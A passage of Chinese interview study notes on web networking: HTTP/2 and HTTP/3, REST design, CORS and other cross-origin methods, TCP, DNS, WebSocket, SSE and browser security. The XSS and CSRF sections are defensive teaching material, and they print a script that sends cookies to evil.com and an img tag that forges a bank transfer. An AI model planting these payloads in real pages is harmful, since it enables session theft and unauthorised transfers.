  Accept-Encoding: gzip,...
  Cookie: sessionId=abc...

HTTP/2(压缩后):
  索引1  User-Agent
  索引2  Accept
  索引3  Accept-Encoding
  Cookie 部分压缩
服务器推送

定义: 服务器主动将资源推送给客户端,无需客户端请求。

客户端请求 index.html
服务器响应:
  ┌── index.html
  ├── style.css (推送)
  └── script.js (推送)

使用场景:

  • 关键资源预加载
  • 减少额外请求延迟

注意: HTTP/2 推送已被部分浏览器弃用,推荐使用 <link rel="preload">

8.3 HTTP/3

定义:

HTTP/3 是基于 QUIC 协议的 HTTP 版本,底层使用 UDP 而非 TCP。

核心改进:

QUIC 协议

特性:

特性说明
基于 UDP不依赖 TCP
0-RTT首次连接也可快速建立
多路复用无 TCP 队头阻塞
连接迁移IP 变化不中断连接
内置 TLS安全默认

解决 TCP 队头阻塞:

TCP 队头阻塞:
  数据包1 ──→ OK
  数据包2 ──→ 丢失 → 阻塞后续所有包
  数据包3 ──→ 等待重传
  数据包4 ──→ 等待重传

QUIC:
  流1 ──→ OK
  流2 ──→ 丢失 → 仅影响流2
  流3 ──→ OK → 不受影响

8.4 HTTP/2 与 HTTP/1.1 的对比

对比项HTTP/1.1HTTP/2
协议格式文本二进制
连接多连接/管道化单连接多路复用
头部无压缩HPACK 压缩
队头阻塞存在解决(应用层)
服务器推送不支持支持
优先级支持请求优先级
性能较慢更快(尤其高延迟网络)

九、RESTful API 设计

9.1 RESTful 定义

REST(Representational State Transfer,表述性状态转移)是一种软件架构风格。

核心思想: 将一切抽象为资源,通过统一接口操作资源。

9.2 RESTful 设计原则

原则说明
资源导向URL 表示资源
统一接口使用 HTTP 方法操作资源
无状态每次请求包含所有必要信息
可缓存响应可被缓存
分层系统客户端不知道中间层
按需代码(可选)服务器可传输可执行代码

9.3 RESTful 资源命名

规则:

  • 使用名词,不使用动词
  • 使用复数形式
  • 使用小写字母和连字符
  • 嵌套资源表示关系
好的命名:
  GET    /api/users          # 获取用户列表
  GET    /api/users/123      # 获取单个用户
  POST   /api/users          # 创建用户
  PUT    /api/users/123      # 更新用户
  DELETE /api/users/123      # 删除用户
  GET    /api/users/123/orders  # 获取用户订单

不好的命名:
  GET    /api/getUsers
  POST   /api/createUser
  GET    /api/queryUserOrders

9.4 RESTful HTTP 方法使用

方法操作幂等性示例
GET读取资源GET /api/users/123
POST创建资源POST /api/users
PUT更新/替换PUT /api/users/123
PATCH部分更新PATCH /api/users/123
DELETE删除资源DELETE /api/users/123

9.5 RESTful 状态码使用

状态码使用场景
200GET/PUT/PATCH 成功
201POST 创建成功
204DELETE 成功
400请求参数错误
401未认证
403无权限
404资源不存在
409资源冲突
422验证失败
500服务器错误

9.6 RESTful 版本控制

方式:

1. URL 路径:
   /api/v1/users
   /api/v2/users

2. 请求头:
   Accept: application/vnd.example.v1+json

3. 查询参数:
   /api/users?version=1

最佳实践: 推荐使用 URL 路径方式,简单直观。


十、跨域问题与解决方案

10.1 同源策略

定义:

同源策略是浏览器的安全机制,限制一个源加载的文档或脚本与另一个源的资源进行交互。

同源的定义: 协议、域名、端口都相同。

同源示例(源:https://www.example.com):
  https://www.example.com/page1  ✅ 同源
  https://www.example.com:443/page2  ✅ 同源(默认端口)

跨源示例:
  http://www.example.com/page1   ❌ 协议不同
  https://api.example.com/page1  ❌ 域名不同
  https://www.example.com:8080   ❌ 端口不同

10.2 跨域产生的原因

触发跨域的场景:

  • AJAX/Fetch 请求不同域
  • DOM 操作 iframe 不同域
  • Web Font 跨域加载
  • Canvas 绘制跨域图片

不受同源策略限制的标签:

<script src="...">   <!-- JSONP 利用此特性 -->
<img src="...">
<link href="...">
<iframe src="...">
<video src="...">
<audio src="...">

10.3 CORS(跨域资源共享)

定义:

CORS(Cross-Origin Resource Sharing)是 W3C 标准,允许浏览器向跨源服务器发送 XMLHttpRequest 请求。

实现方式: 服务器设置响应头。

简单请求

条件:

  • 方法为 GET、HEAD、POST
  • Content-Type 为 text/plain、multipart/form-data、application/x-www-form-urlencoded
  • 无自定义头部

流程:

浏览器直接发送请求,携带 Origin 头
服务器响应 Access-Control-Allow-Origin
// 请求
GET /api/data HTTP/1.1
Origin: https://frontend.example.com

// 响应
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.example.com
Access-Control-Allow-Credentials: true
预检请求(Preflight)

触发条件:

  • 方法为 PUT、DELETE 等
  • Content-Type 为 application/json
  • 有自定义头部

流程:

1. 浏览器发送 OPTIONS 预检请求
2. 服务器返回允许的跨域信息
3. 预检通过后,发送实际请求
// 预检请求
OPTIONS /api/data HTTP/1.1
Origin: https://frontend.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type, Authorization

// 预检响应
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://frontend.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
Access-Control-Allow-Credentials: true

// 实际请求
POST /api/data HTTP/1.1
Origin: https://frontend.example.com
Content-Type: application/json
Authorization: Bearer xxxxx

10.4 CORS 响应头详解

响应头说明示例
Access-Control-Allow-Origin允许的源*https://example.com
Access-Control-Allow-Methods允许的方法GET, POST, PUT, DELETE
Access-Control-Allow-Headers允许的头部Content-Type, Authorization
Access-Control-Allow-Credentials是否允许携带凭证true
Access-Control-Max-Age预检请求缓存时间86400(秒)
Access-Control-Expose-Headers允许暴露的头部X-Custom-Header

Express CORS 配置:

const cors = require('cors');

app.use(cors({
  origin: 'https://frontend.example.com',
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  credentials: true,
  maxAge: 86400
}));

注意:Access-Control-Allow-Credentials: true 时,Access-Control-Allow-Origin 不能为 *

10.5 JSONP

定义:

JSONP(JSON with Padding)利用 <script> 标签不受同源策略限制的特性实现跨域。

原理:

1. 客户端动态创建 <script> 标签
2. src 指向跨域服务器,携带回调函数名
3. 服务器返回 JavaScript 代码(调用回调函数)
4. 浏览器执行,触发回调

实现:

// 客户端
function handleResponse(data) {
  console.log('获取数据:', data);
}

const script = document.createElement('script');
script.src = 'https://api.example.com/data?callback=handleResponse';
document.head.appendChild(script);

// 服务器响应
handleResponse({ name: "张三", age: 25 });

jQuery 实现:

$.ajax({
  url: 'https://api.example.com/data',
  dataType: 'jsonp',
  jsonpCallback: 'handleResponse',
  success: function(data) {
    console.log(data);
  }
});

局限性:

  • 仅支持 GET 请求
  • 安全性较低(XSS 风险)
  • 需要服务器配合

10.6 代理跨域

原理:

通过同源服务器作为代理,转发请求到目标服务器。

浏览器 → 同源代理服务器 → 目标服务器
         ↑
      (浏览器认为同源)
Nginx 反向代理
server {
  listen 80;
  server_name frontend.example.com;

  location /api/ {
    proxy_pass http://backend.example.com:3000/;
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
  }

  location / {
    root /var/www/frontend;
    index index.html;
  }
}
开发服务器代理(Vite)
// vite.config.js
export default {
  server: {
    proxy: {
      '/api': {
        target: 'http://backend.example.com:3000',
        changeOrigin: true,
        rewrite: (path) => path.replace(/^\/api/, '')
      }
    }
  }
}

10.7 其他跨域解决方案

postMessage

用途: 实现 iframe 跨域通信。

// 发送方
iframe.contentWindow.postMessage('Hello', 'https://target.com');

// 接收方
window.addEventListener('message', (event) => {
  if (event.origin === 'https://sender.com') {
    console.log('收到消息:', event.data);
    event.source.postMessage('收到', event.origin);
  }
});
WebSocket

说明: WebSocket 不受同源策略限制。

const ws = new WebSocket('wss://api.example.com/ws');
ws.onmessage = (event) => {
  console.log('收到:', event.data);
};
document.domain

用途: 主域相同子域不同页面通信。

// a.example.com 和 b.example.com
document.domain = 'example.com';

10.8 跨域解决方案对比

方案原理优点缺点适用场景
CORS服务端设置响应头标准方案,支持所有方法需要服务端配合现代 Web 应用
JSONPscript 标签跨域兼容老浏览器仅 GET,有安全风险老旧系统兼容
代理服务端转发对前端透明需要配置代理服务器开发/生产环境
postMessage窗口间通信灵活安全仅 iframeiframe 跨域通信
WebSocket长连接协议双向通信需要额外服务实时通信

十一、TCP/IP 协议

11.1 TCP 与 UDP 对比

对比项TCPUDP
连接面向连接无连接
可靠性可靠传输尽最大努力交付
顺序保证顺序不保证顺序
流量控制
拥塞控制
速度较慢较快
头部大小20-60 字节8 字节
适用场景文件传输、网页浏览视频直播、游戏、DNS

11.2 TCP 三次握手

目的: 建立可靠连接,确认双方收发能力正常。

客户端                    服务器
  |                         |
  |--- SYN (seq=x) -------->|  第一次握手:客户端发送 SYN
  |                         |  服务器确认客户端发送能力
  |<-- SYN+ACK (seq=y,      |
  |      ack=x+1) ----------|  第二次握手:服务器回复 SYN+ACK
  |                         |  客户端确认服务器收发能力
  |--- ACK (ack=y+1) ------>|  第三次握手:客户端回复 ACK
  |                         |  服务器确认客户端收发能力
  |                         |
  |====== 连接建立 =========|

为什么需要三次?

  • 防止已失效的连接请求报文段突然又传送到服务器
  • 确认双方的接收和发送能力都正常
  • 两次握手无法防止重复连接

11.3 TCP 四次挥手

目的: 安全断开连接,确保数据传输完毕。

客户端                    服务器
  |                         |
  |--- FIN (seq=u) -------->|  第一次:客户端发送 FIN
  |                         |  客户端进入 FIN-WAIT-1
  |<-- ACK (ack=u+1) -------|  第二次:服务器回复 ACK
  |                         |  服务器进入 CLOSE-WAIT
  |                         |  客户端进入 FIN-WAIT-2
  |                         |  (服务器可能还有数据要发送)
  |<-- FIN (seq=w) ---------|  第三次:服务器发送 FIN
  |                         |  服务器进入 LAST-ACK
  |--- ACK (ack=w+1) ------>|  第四次:客户端回复 ACK
  |                         |  客户端进入 TIME-WAIT(2MSL)
  |                         |  服务器进入 CLOSED
  |                         |  等待 2MSL 后客户端也进入 CLOSED

为什么需要四次?

  • TCP 是全双工的,每个方向都需要单独关闭
  • 服务器收到 FIN 后,可能还有数据要发送
  • 需要先确认收到,再发送自己的 FIN

TIME-WAIT 的作用:

  • 确保最后一个 ACK 能到达服务器
  • 防止已失效的连接请求出现在新连接中
  • 等待 2MSL(最长报文段寿命)

11.4 TCP 连接状态

客户端状态流转:
CLOSED → SYN-SENT → ESTABLISHED → FIN-WAIT-1 → FIN-WAIT-2 → TIME-WAIT → CLOSED

服务器状态流转:
CLOSED → LISTEN → SYN-RCVD → ESTABLISHED → CLOSE-WAIT → LAST-ACK → CLOSED

11.5 正向代理与反向代理

正向代理

定义: 代理客户端,隐藏客户端身份。

客户端 → 正向代理 → 目标服务器
         ↑
    (服务器不知道真实客户端)

用途:

  • 突破访问限制
  • 隐藏客户端 IP
  • 缓存加速
反向代理

定义: 代理服务器,隐藏服务器真实地址。

客户端 → 反向代理 → 后端服务器集群
         ↑
    (客户端不知道真实服务器)

用途:

  • 负载均衡
  • 安全防护
  • SSL 终止
  • 缓存

十二、DNS、CDN、WebSocket 等其他特性

12.1 DNS 解析

定义:

DNS(Domain Name System)是将域名转换为 IP 地址的分布式数据库系统。

DNS 查询过程:

用户在浏览器输入 www.example.com

1. 浏览器缓存
   检查浏览器 DNS 缓存 → 命中则直接返回

2. 操作系统缓存
   检查 hosts 文件/OS DNS 缓存 → 命中则返回

3. 本地 DNS 服务器(LDNS)
   向 ISP 提供的 DNS 服务器查询

4. 根域名服务器
   返回 .com 顶级域名服务器地址

5. 顶级域名服务器
   返回 example.com 权威服务器地址

6. 权威域名服务器
   返回 www.example.com 的 IP 地址

7. 返回结果并缓存
   各层级缓存结果,下次查询更快

流程图:

浏览器缓存 → OS 缓存 → LDNS → 根域名服务器 → 顶级域名服务器 → 权威域名服务器
                              ↓
                          返回 IP 地址

12.2 DNS 劫持与防范

定义:

DNS 劫持是指攻击者篡改 DNS 解析结果,将用户引导到恶意网站。

方式:

  • 本地 DNS 服务器被劫持
  • 中间人篡改 DNS 响应
  • 恶意软件修改 hosts 文件

防范措施:

  • 使用可信 DNS(如 8.8.8.8、114.114.114.114)
  • 启用 DoH(DNS over HTTPS)
  • 启用 DoT(DNS over TLS)
  • 使用 HTTPS(即使被劫持也能发现)

12.3 CDN

定义:

CDN(Content Delivery Network,内容分发网络)是分布在不同地理位置的服务器网络。

原理:

用户请求 www.example.com/image.png
     ↓
DNS 解析到最近的 CDN 节点
     ↓
CDN 节点返回缓存的内容
     ↓
(缓存未命中时回源站获取)

核心机制:

  • 边缘节点:分布全球的缓存服务器
  • 负载均衡:用户就近访问
  • 缓存策略:静态资源缓存
  • 回源:缓存未命中时从源站获取

优势:

  • 加速访问(就近访问)
  • 减轻源站压力
  • 提高可用性
  • 防御 DDoS

适用资源:

  • 静态资源(图片、CSS、JS)
  • 视频/音频
  • 大文件下载

12.4 WebSocket

定义:

WebSocket 是 HTML5 开始提供的一种在单个 TCP 连接上进行全双工通讯的协议。

与 HTTP 的对比:

对比项HTTPWebSocket
通信方式请求-响应全双工
连接短连接/长连接持久连接
头部开销
实时性
协议应用层应用层

连接过程:

1. HTTP 升级请求(握手)
   GET /chat HTTP/1.1
   Upgrade: websocket
   Connection: Upgrade
   Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
   Sec-WebSocket-Version: 13

2. 服务器响应
   HTTP/1.1 101 Switching Protocols
   Upgrade: websocket
   Connection: Upgrade
   Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

3. WebSocket 连接建立,全双工通信
   客户端 ←→ 服务器(双向实时通信)

使用场景:

  • 实时聊天
  • 实时数据推送(股票、体育比分)
  • 在线游戏
  • 协同编辑
// 客户端
const ws = new WebSocket('ws://localhost:8080');

ws.onopen = () => {
  console.log('连接已建立');
  ws.send('Hello Server');
};

ws.onmessage = (event) => {
  console.log('收到消息:', event.data);
};

ws.onerror = (error) => {
  console.error('WebSocket 错误:', error);
};

ws.onclose = () => {
  console.log('连接已关闭');
};

12.5 长连接与短连接

对比项短连接长连接
连接数每次请求新建连接复用同一连接
性能低(频繁握手)
资源占用多占用少
HTTP 版本HTTP/1.0 默认HTTP/1.1 默认(Keep-Alive)

12.6 轮询、长轮询、SSE

轮询(Polling)

原理: 客户端定时向服务器发送请求。

setInterval(() => {
  fetch('/api/messages')
    .then(res => res.json())
    .then(data => console.log(data));
}, 5000); // 每 5 秒轮询一次

缺点: 大量无效请求,资源浪费。

长轮询(Long Polling)

原理: 服务器收到请求后保持连接,有新数据才返回。

function longPoll() {
  fetch('/api/messages?timeout=30000')
    .then(res => res.json())
    .then(data => {
      console.log(data);
      longPoll(); // 收到数据后立即发起下一次
    })
    .catch(() => {
      setTimeout(longPoll, 1000); // 超时后重试
    });
}
SSE(Server-Sent Events)

定义: 服务器向客户端推送数据的单向通信机制。

// 客户端
const eventSource = new EventSource('/api/events');

eventSource.onmessage = (event) => {
  console.log('收到:', event.data);
};

eventSource.addEventListener('custom', (event) => {
  console.log('自定义事件:', event.data);
});
// 服务器(Express)
app.get('/api/events', (req, res) => {
  res.setHeader('Content-Type', 'text/event-stream');
  res.setHeader('Cache-Control', 'no-cache');
  res.setHeader('Connection', 'keep-alive');

  const sendEvent = (data) => {
    res.write(`data: ${JSON.stringify(data)}\n\n`);
  };

  // 定时推送
  const interval = setInterval(() => {
    sendEvent({ time: new Date() });
  }, 1000);

  req.on('close', () => clearInterval(interval));
});

对比:

对比项轮询长轮询SSEWebSocket
通信方向单向单向单向双向
实时性最高
资源消耗最低
兼容性较好较好
实现难度简单中等简单中等

12.7 本地存储

特性localStoragesessionStorageCookieIndexedDB
容量约 5MB约 5MB约 4KB约 250MB
有效期永久会话结束可设置永久
是否发送
API同步同步同步异步
数据类型字符串字符串字符串任意

十三、安全防御(XSS/CSRF)

13.1 XSS 攻击

定义:

XSS(Cross-Site Scripting,跨站脚本攻击)是攻击者在网页中注入恶意脚本,在用户浏览器中执行。

类型:

类型说明示例
存储型恶意脚本存储在服务器评论、留言
反射型恶意脚本在 URL 中钓鱼链接
DOM 型前端 JS 直接操作 DOMdocument.write

攻击示例:

<!-- 存储型 XSS:恶意评论 -->
<script>document.location='https://evil.com?cookie='+document.cookie</script>

<!-- 反射型 XSS:搜索框 -->
https://example.com/search?q=<script>alert('XSS')</script>

防御措施:

// 1. 输入过滤
function sanitizeInput(input) {
  return input
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

// 2. 输出编码(模板引擎自动编码)
// Vue、React 默认转义

// 3. Content-Security-Policy
// HTTP 响应头
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com

13.2 CSRF 攻击

定义:

CSRF(Cross-Site Request Forgery,跨站请求伪造)是攻击者诱导用户在其已登录的网站上执行非预期操作。

攻击流程:

1. 用户登录银行网站
2. 用户访问恶意网站
3. 恶意网站发送请求到银行网站
   <img src="https://bank.com/transfer?to=attacker&amount=1000">
4. 浏览器自动携带 Cookie
5. 银行网站处理请求(认为是用户操作)

防御措施:

// 1. CSRF Token
// 生成 Token
const csrfToken = crypto.randomBytes(32).toString('hex');
req.session.csrfToken = csrfToken;

// 验证 Token
app.post('/transfer', (req, res) => {
  if (req.body.csrfToken !== req.session.csrfToken) {
    return res.status(403).json({ message: 'CSRF 验证失败' });
  }
  // 处理转账
});

// 2. SameSite Cookie
Set-Cookie: sessionId=abc123; SameSite=Strict

// 3. 验证 Referer/Origin
app.post('/transfer', (req, res) => {
  const origin = req.headers.origin;
  if (origin !== 'https://bank.com') {
    return res.status(403).json({ message: '非法来源' });
  }
});

13.3 点击劫持

定义:

攻击者将目标网站嵌入到透明 iframe 中,诱导用户点击。

防御:

// X-Frame-Options
X-Frame-Options: DENY          // 禁止嵌入
X-Frame-Options: SAMEORIGIN    // 仅同源可嵌入

// Content-Security-Policy
Content-Security-Policy: frame-ancestors 'self'

13.4 安全头汇总

响应头作用示例
Content-Security-Policy防止 XSSdefault-src 'self'
X-Content-Type-Options防止 MIME 嗅探nosniff
X-Frame-Options防止点击劫持DENY
Strict-Transport-Security强制 HTTPSmax-age=31536000
X-XSS-ProtectionXSS 过滤器1; mode=block
Referrer-Policy控制 Refererno-referrer

本文档根据原始面试题目整理,去重后按主题分组,涵盖 HTTP 协议核心知识点。 建议结合实际项目经验和代码实践,深入理解每个知识点。